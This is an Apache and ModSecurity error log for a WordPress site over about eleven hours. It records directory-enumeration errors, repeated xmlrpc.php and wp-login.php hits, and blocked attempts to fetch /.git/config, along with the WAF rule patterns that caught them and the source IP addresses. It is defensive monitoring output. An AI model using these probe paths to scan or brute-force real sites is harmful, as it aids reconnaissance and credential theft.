[Mon Apr 20 19:58:57.003891 2026] [autoindex:error] [pid 11352:tid 11417] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/skins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:59:00.496732 2026] [autoindex:error] [pid 11352:tid 11418] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jquery/ui/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:59:04.214291 2026] [autoindex:error] [pid 11352:tid 11427] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/themes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:59:07.686214 2026] [autoindex:error] [pid 11352:tid 11417] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/themes/inlite/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:59:09.798798 2026] [autoindex:error] [pid 11352:tid 11430] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:59:10.035795 2026] [autoindex:error] [pid 11352:tid 11431] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:59:12.189677 2026] [autoindex:error] [pid 11352:tid 11415] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/code/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:59:12.436776 2026] [autoindex:error] [pid 11352:tid 11422] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/archives/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:59:12.703454 2026] [autoindex:error] [pid 11352:tid 11417] [client 89.251.0.120:63683] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/components/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:59:18.542752 2026] [autoindex:error] [pid 11351:tid 11388] [client 89.251.0.141:40625] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/pullquote/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:59:20.974608 2026] [autoindex:error] [pid 11351:tid 11398] [client 89.251.0.141:40625] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/comments-pagination-numbers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:59:29.007928 2026] [autoindex:error] [pid 11351:tid 11405] [client 89.251.0.141:40625] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/details/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:59:29.227843 2026] [autoindex:error] [pid 11351:tid 11392] [client 89.251.0.141:40625] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/post-terms/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:59:30.559546 2026] [autoindex:error] [pid 11351:tid 11410] [client 89.251.0.141:40625] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/dist/development/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:59:33.000452 2026] [autoindex:error] [pid 11351:tid 11401] [client 89.251.0.141:40625] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/namespaced/Core/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:59:42.227039 2026] [autoindex:error] [pid 11351:tid 11406] [client 89.251.0.141:40625] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:59:49.980520 2026] [autoindex:error] [pid 11351:tid 11394] [client 89.251.0.141:40625] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/site-title/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 19:59:58.279282 2026] [autoindex:error] [pid 11351:tid 11400] [client 89.251.0.141:40625] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/plugins/compat3x/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 20:00:05.244490 2026] [autoindex:error] [pid 11351:tid 11393] [client 89.251.0.141:40625] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2025/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 20:00:05.469461 2026] [autoindex:error] [pid 11351:tid 11406] [client 89.251.0.141:40625] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2026/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 20:05:07.962540 2026] [:error] [pid 11351:tid 11405] [client 4.240.89.23:49822] [client 4.240.89.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.240.89.23, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeYWcwN8Z1-vktaI_tPvmwAAAFI"]
[Mon Apr 20 20:36:46.059705 2026] [:error] [pid 11350:tid 11371] [client 77.65.214.113:41614] [client 77.65.214.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.65.214.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeYd3v4EoMBgOJuJnT2uxgAAAAw"]
[Mon Apr 20 22:34:46.358415 2026] [:error] [pid 6928:tid 6945] [client 134.199.166.214:57522] [client 134.199.166.214] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aeY5hh3y7MHq1iB0qYrDiAAAAU8"]
[Mon Apr 20 22:34:47.117688 2026] [:error] [pid 11441:tid 11451] [client 134.199.166.214:58072] [client 134.199.166.214] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aeY5h8ixByFUvmh319CyOQAAAMg"]
[Mon Apr 20 22:48:50.485492 2026] [:error] [pid 6928:tid 6946] [client 122.176.38.59:58810] [client 122.176.38.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.176.38.59, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeY80h3y7MHq1iB0qYrGiwAAAVA"]
[Mon Apr 20 22:49:00.622484 2026] [:error] [pid 11351:tid 11398] [client 122.176.38.59:57159] [client 122.176.38.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.176.38.59, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeY83AN8Z1-vktaI_tM1RgAAAEs"]
[Mon Apr 20 22:49:11.113009 2026] [:error] [pid 11351:tid 11410] [client 122.176.38.59:51354] [client 122.176.38.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.176.38.59, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeY85wN8Z1-vktaI_tM1WgAAAFc"]
[Mon Apr 20 22:49:21.788807 2026] [:error] [pid 11441:tid 11448] [client 122.176.38.59:60777] [client 122.176.38.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.176.38.59, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeY88cixByFUvmh319C2eQAAAMU"]
[Mon Apr 20 22:49:32.393446 2026] [:error] [pid 11494:tid 11503] [client 122.176.38.59:60512] [client 122.176.38.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.176.38.59, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeY8_Mgko5iFiE8YoyQBBQAAAYc"]
[Mon Apr 20 23:15:35.390960 2026] [:error] [pid 11441:tid 11443] [client 190.121.23.218:50866] [client 190.121.23.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.121.23.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeZDF8ixByFUvmh319C8FQAAAMA"]
[Mon Apr 20 23:27:21.044471 2026] [:error] [pid 11351:tid 11394] [client 170.106.180.153:55428] [client 170.106.180.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aeZF2QN8Z1-vktaI_tNHVAAAAEc"]
[Tue Apr 21 00:01:37.622393 2026] [:error] [pid 11352:tid 11432] [client 51.159.142.108:51960] [client 51.159.142.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.159.142.108, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeZN4Wl10mhMSfJ7ir_wkwAAAJI"]
[Tue Apr 21 00:19:10.587885 2026] [:error] [pid 11350:tid 11372] [client 15.235.163.7:33220] [client 15.235.163.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 15.235.163.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeZR_v4EoMBgOJuJnT0DqgAAAA0"]
[Tue Apr 21 00:58:58.239165 2026] [:error] [pid 42014:tid 42023] [client 212.132.70.123:53356] [client 212.132.70.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.132.70.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeZbUsek-00-ZI0f1NqmPgAAAQc"]
[Tue Apr 21 01:39:47.340630 2026] [:error] [pid 11441:tid 11461] [client 46.36.71.211:51626] [client 46.36.71.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.36.71.211, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeZk48ixByFUvmh319DiGAAAANI"]
[Tue Apr 21 01:39:57.291382 2026] [:error] [pid 11494:tid 11505] [client 46.36.71.211:51925] [client 46.36.71.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.36.71.211, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeZk7cgko5iFiE8YoyQ7cAAAAYk"]
[Tue Apr 21 01:40:07.747961 2026] [:error] [pid 11351:tid 11387] [client 46.36.71.211:52159] [client 46.36.71.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.36.71.211, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeZk9wN8Z1-vktaI_tOdzAAAAEA"]
[Tue Apr 21 01:40:18.270974 2026] [:error] [pid 11441:tid 11460] [client 46.36.71.211:52414] [client 46.36.71.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.36.71.211, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeZlAsixByFUvmh319DiMQAAANE"]
[Tue Apr 21 01:40:28.747867 2026] [:error] [pid 11494:tid 11498] [client 46.36.71.211:52665] [client 46.36.71.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.36.71.211, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeZlDMgko5iFiE8YoyQ7kAAAAYI"]
[Tue Apr 21 02:12:19.103326 2026] [:error] [pid 11494:tid 11497] [client 66.70.178.228:47056] [client 66.70.178.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.70.178.228, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeZsg8gko5iFiE8YoyRIGQAAAYE"]
[Tue Apr 21 02:15:27.949590 2026] [:error] [pid 11351:tid 11410] [client 82.223.165.55:55684] [client 82.223.165.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.165.55, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeZtPwN8Z1-vktaI_tO1UgAAAFc"]
[Tue Apr 21 02:26:11.562574 2026] [:error] [pid 11352:tid 11414] [client 157.245.242.100:31602] [client 157.245.242.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.242.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeZvw2l10mhMSfJ7ir8NnAAAAIA"]
[Tue Apr 21 02:39:14.837063 2026] [:error] [pid 42014:tid 42027] [client 195.250.23.93:45600] [client 195.250.23.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.250.23.93, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeZy0sek-00-ZI0f1Nq9NQAAAQs"]
[Tue Apr 21 03:05:31.370312 2026] [:error] [pid 11350:tid 11370] [client 49.12.238.251:35854] [client 49.12.238.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.12.238.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeZ4-_4EoMBgOJuJnT1W7wAAAAs"]
[Tue Apr 21 03:30:25.262543 2026] [:error] [pid 4927:tid 4941] [client 50.185.149.182:64925] [client 50.185.149.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.185.149.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeZ-0fP0QV6Nz90JgGU9NgAAAAk"]
[Tue Apr 21 03:30:36.055004 2026] [:error] [pid 4927:tid 4945] [client 50.185.149.182:52491] [client 50.185.149.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.185.149.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeZ-3PP0QV6Nz90JgGU9SgAAAA0"]
[Tue Apr 21 03:30:46.909629 2026] [:error] [pid 4929:tid 4997] [client 50.185.149.182:61199] [client 50.185.149.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.185.149.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeZ-5sYQR_RmLfEbL_cEJQAAAIs"]
[Tue Apr 21 03:30:57.833793 2026] [:error] [pid 4928:tid 4981] [client 50.185.149.182:52538] [client 50.185.149.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.185.149.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeZ-8W3sVZRahip_VvRIzQAAAFY"]
[Tue Apr 21 03:31:09.001028 2026] [:error] [pid 4929:tid 5003] [client 50.185.149.182:62088] [client 50.185.149.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.185.149.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeZ-_MYQR_RmLfEbL_cEbAAAAJE"]
[Tue Apr 21 03:49:31.864161 2026] [:error] [pid 35321:tid 35393] [client 93.16.216.118:54414] [client 93.16.216.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.16.216.118, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeaDSzeHLhVUuu8cVXwx2wAAAEk"]
[Tue Apr 21 04:00:29.001156 2026] [:error] [pid 4777:tid 4789] [client 185.194.178.47:27713] [client 185.194.178.47] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.47, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeaF3KxXur6bykKyLZT9kgAAAQE"]
[Tue Apr 21 04:37:23.710627 2026] [:error] [pid 5377:tid 5399] [client 43.153.204.189:44066] [client 43.153.204.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aeaOg7BKychFlrHBdvvzlgAAAc0"]
[Tue Apr 21 05:24:32.051830 2026] [:error] [pid 5377:tid 5389] [client 46.163.72.195:41566] [client 46.163.72.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.163.72.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeaZkLBKychFlrHBdvsGgQAAAcM"]
[Tue Apr 21 06:01:26.100026 2026] [:error] [pid 4823:tid 4854] [client 36.41.75.167:40446] [client 36.41.75.167] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aeaiNvc8mke3PfHqsxGPvgAAAYE"]
[Tue Apr 21 06:50:50.643446 2026] [:error] [pid 4823:tid 4874] [client 198.58.96.57:42520] [client 198.58.96.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.58.96.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeatyvc8mke3PfHqsxGh7gAAAZU"]
[Tue Apr 21 06:53:58.950524 2026] [:error] [pid 5377:tid 5394] [client 170.239.96.88:3632] [client 170.239.96.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.239.96.88, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeauhrBKychFlrHBdvsgCgAAAcg"]
